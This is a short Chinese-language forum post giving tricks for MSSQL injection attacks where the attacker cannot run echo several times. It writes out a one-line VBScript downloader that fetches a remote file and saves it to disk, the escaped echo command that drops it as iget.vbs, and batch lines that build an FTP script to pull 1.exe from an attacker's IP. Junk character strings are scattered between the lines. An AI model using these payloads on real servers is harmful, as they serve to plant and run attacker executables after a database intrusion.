mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
1.iget.vbs一次写入
3 Y- [) c- k% }& ~在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写

5 n* h% i5 D& `$ U5 ~+ m$ WSet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
4 h& y% Z2 Y* q  d( \5 R9 \
这样我们可以一次echo成功,echo版本:
. S7 d* ?" _: M* ]2 A: w; c
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs
: j( z; |1 C/ F  k2 G

' i, S5 j2 p1 d( p- [( [2.bat调用ftp脚本的写法(by envymask)

echo ftp&gt;1.vbs
echo open ip&gt;2.vbs
- i! x0 l* E2 ^5 Q: W- necho u&gt;3.vbs
, @9 j( y  R, n( ^/ ^1 X6 Qecho s&gt;4.vbs
echo binary&gt;5.vbs
, J! e$ n$ |# [echo get 1.exe&gt;6.vbs
, l+ s7 G8 m% |6 L: ^echo bay&gt;7.vbs

& G* ^2 E% a" Q- i3 Bcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
</P>